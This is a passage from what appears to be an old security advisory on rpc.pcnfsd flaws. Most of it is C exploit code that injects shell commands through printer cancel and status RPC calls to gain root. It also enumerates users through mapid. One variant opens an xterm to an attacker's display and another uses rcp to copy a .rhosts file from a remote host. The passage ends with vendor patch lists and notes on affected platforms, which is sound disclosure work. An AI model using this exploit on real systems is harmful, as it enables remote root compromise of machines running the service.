		    attack=2;
    
    /* at&t sysv release 4 - root via cancel */
    
		    printf("Using root account for attack.\n");
		    user="root";
		    printf("\tUsing user: %s\n",user);
    
		    if (METHOD==1)
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"cd usr\ncd bin\ncd X11\n");
			    strcat(evil,"xterm -ut -display ");
			    strcat(evil,XTERM);
			    strcat(evil,"\n");
		    }
		    else
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd bin\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"csh -c \"");
			    strcat(evil,"cd ..\ncd ..\ncd ..\ncd bin\n");
			    sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
			    strcat(evil,"\"\n");
		    }
	    }
    }
    
    
    void exploit1(void)
    {
	    /* This sploit uses pr_status_2 */
	    /* This will only work under bsd-ish systems, because the
	     * sysv-ish version verifies the printer name */
    
	    printf("Attempting exploit.\n");
	    test_v2_stat(attack_string);
    }
    
    void exploit2(void)
    {
	    char *printer;
    
	    printf("Searching for a valid printer.\n");
	    printer=findprinter();
	    if (!printer)
		    printer="lp";
	    printf("\tUsing printer: %s\n",printer);
	    test_v2_cancel(printer,user,attack_string);
    }
    
    int test_v2_stat(char *printer)
    {
	    v2_pr_status_args a;
	    v2_pr_status_results *rp;
    
            a.pn = printer;
            a.cm = "-";
    
            printf("\ninvoking pr_status_2: %s\n",printer);
    
            rp = pcnfsd2_pr_status_2(&a, cl2);
    
            if(rp == NULL)
	    {
                    clnt_perror(cl2, server);
                    return(1);
            }
    
            printf("results: stat = %d, cm = '%s'\n",
                    rp->stat, rp->cm);
    
            if(rp->cm)
                    free(rp->cm);
            if(rp->status)
                    free(rp->status);
            return(rp->stat);
    }
    
    int test_v2_cancel(char *printer,char *user_name, char *id)
    {
	    v2_pr_cancel_args a;
	    v2_pr_cancel_results *rp;
    
            a.system = "blah";
            a.pn = printer;
            a.user = user_name;
            a.id = id;
            a.cm = "-";
    
	    printf("Attempting exploit.\n");
            printf("invoking pr_cancel_2\n");
            rp = pcnfsd2_pr_cancel_2(&a, cl2);
    
            if(rp == NULL)
	    {
                    clnt_perror(cl2, server);
                    return(1);
 	    }
            printf("results: stat = %d, cm = '%s'\n",
                    rp->stat, rp->cm);
            if(rp->cm)
                    free(rp->cm);
            return(0);
    }
    
    char *findprinter()
    {
	    char a;
	    v2_pr_list_results *rp;
	    pr_list curr;
    
            rp = pcnfsd2_pr_list_2(&a, cl2);
    
            if (rp == NULL)
	    {
                    clnt_perror(cl2, server);
                    return(NULL);
            }
            curr = rp->printers;
            while(curr)
	    {
                    curr = curr->pr_next;
            }
    
	    if (rp->printers)
	    {
		    return (rp->printers->pn);
	    }
            return(NULL);
    }
    
    char *finduser(int us)
    {
            v2_mapid_args a;
            struct mapreq_arg_item i[100];
    
            v2_mapid_results *rp;
            struct mapreq_res_item *rip;
    
            int j;
            int current=1;
	    int bob=0;
    
            a.cm = "-";
            a.req_list=&(i[0]);
    
	    for (j=0;j<100;j++)
	    {
        	    i[j].req=MAP_REQ_UID;
        	    i[j].name="";
        	    i[j].mapreq_next=&(i[j+1]);
	    }
	    i[99].mapreq_next=NULL;
    
            while ((current+=100)<=65000)
            {
		    for (j=0;j<100;j++)
			    i[j].id=current+j;
    
                    rp = pcnfsd2_mapid_2(&a, cl2);
    
                    if (rp == NULL)
                    {
                            clnt_perror(cl2, server);
                            return(NULL);
                    }
    
                    rip = rp->res_list;
                    while(rip && ((rip->id)<=65000))
                    {
                            if (!(rip->stat))
                            {
				    bob++;
				    if (bob==us)
					    return rip->name;
                            }
                            rip = rip->mapreq_next;
                    }
            }
    }

SOLUTION
    
    OpenBSD, FreeBSD, NetBSD, BSDI are not vulnerable to the RSI  part
    of advisory.   Disable rpc.pcnfsd  until an  appropriate patch  is
    released for your operating system.

    AIX
    ===
    IBM has provided the following patches:

	APAR 4.1.x: IX81505
	APAR 4.2.x: IX81506
	APAR 4.3.x: IX81507

    Until the  official APARs  are available,  a temporary  fix can be
    downloaded via anonymous ftp from:

	ftp://aix.software.ibm.com/aix/efixes/security/pcnfsd.tar.Z

    Linux
    =====
    Working in conjunction with  Patrick Volkerding and the  Slackware
    Linux development staff, RSI has produced the following patches:

	ftp://ftp.repsec.com/pub/repsec/0008.patch1
	ftp://ftp.repsec.com/pub/repsec/0008.patch2

	HpUX
    ====
    This problem is  fixed fully in  HP-UX release 11.01.   Fixing the
    problem  involves  installing  a  series  of patches which require
    rebooting the system.  The main patch requires a libc patch, which
    in turn requires a kernal patch.

	For HP-UX 10.01:                        PHNE_17248
	For HP-UX 10.10:                        PHNE_17248
	For HP-UX 10.20:                        PHNE_17098
	For HP-UX 11.00:                        PHNE_16470

    The following sets of patches will need to be installed to resolve
    all the documented patch  dependencies.  The dependencies  will be
    satisfied  by  the  patches  listed,  or any patch that supersedes
    them:

	s700 10.01:     PHNE_17248, PHKL_7059,  PHCO_14253;
	s800 10.01:     PHNE_17248, PHKL_7060,  PHCO_14253;
	s700 10.10:     PHNE_17248, PHKL_8292,  PHCO_14254;
	s800 10.10:     PHNE_17248, PHKL_8293,  PHCO_14254;
	s700 10.20:     PHNE_17098, PHKL_9155,  PHKL_16750,
			PHCO_13777, PHCO_12922, PHCO_17389,
			PHNE_16237, PHKL_16959, PHKL_17012,
			PHKL_17253, PHKL_12007;
	s800 10.20:     PHNE_17098, PHKL_9156,  PHKL_16751,
			PHCO_13777, PHCO_12922, PHCO_17389,
			PHNE_17097, PHKL_16957, PHKL_17013,
			PHKL_17254, PHKL_12008;
	s700 11.00:     PHNE_16470, PHCO_16629, PHKL_15689,
			PHCO_14625;
	s800 11.00:     PHNE_16470, PHCO_16629, PHKL_15689,
			PHCO_14625.

    SunOS, Solaris, and OSF  users should wait for their  vendor
    to provide a patch.

    Rhino9  hasn't  done  research  to  the  level that one would like
    regarding vulnerability in  different platforms. This  information
    is likely to be inaccurate, and welcome to corrections. rpc.pcnfsd
    appears to be exist by  default on HPUX, Irix, AIX,  Digital Unix,
    Slackware,  OpenBSD,  and  NetBSD.   It  also  appears  to  run by
    *default*  on  Irix  and  some  HPUX  distributions.   pcnfsd   is
    available as a package under other Linux distros, Solaris,  SunOS,
    and FreeBSD.   All implementations  are open  to the  mapid / auth
    vulnerability, which is an  inherent risk in running  the program.
    From experiments, both NetBSD and the latest Solaris versions  are
    immune to the pr_cancel and get_pr_status vulnerabilities.   Also,
    they appear to be immune  to the remote vulnerability detailed  by
    the Repsec advisory.   Also, the runps630 vulnerability  mentioned
    in the Repsec advisory does  not affect the BSD distributions  due
    to  code  fixes  made  to  address  the  CERT advisory regarding a
    similair problem.   HP/UX, Irix,  AIX, Slackware,  OpenBSD,  older
    Solaris, and  SunOS appear  to be  vulnerable to  all of the holes
    discovered.   get_pr_status  -  OpenBSD  is  the  only   confirmed
    vulnerable OS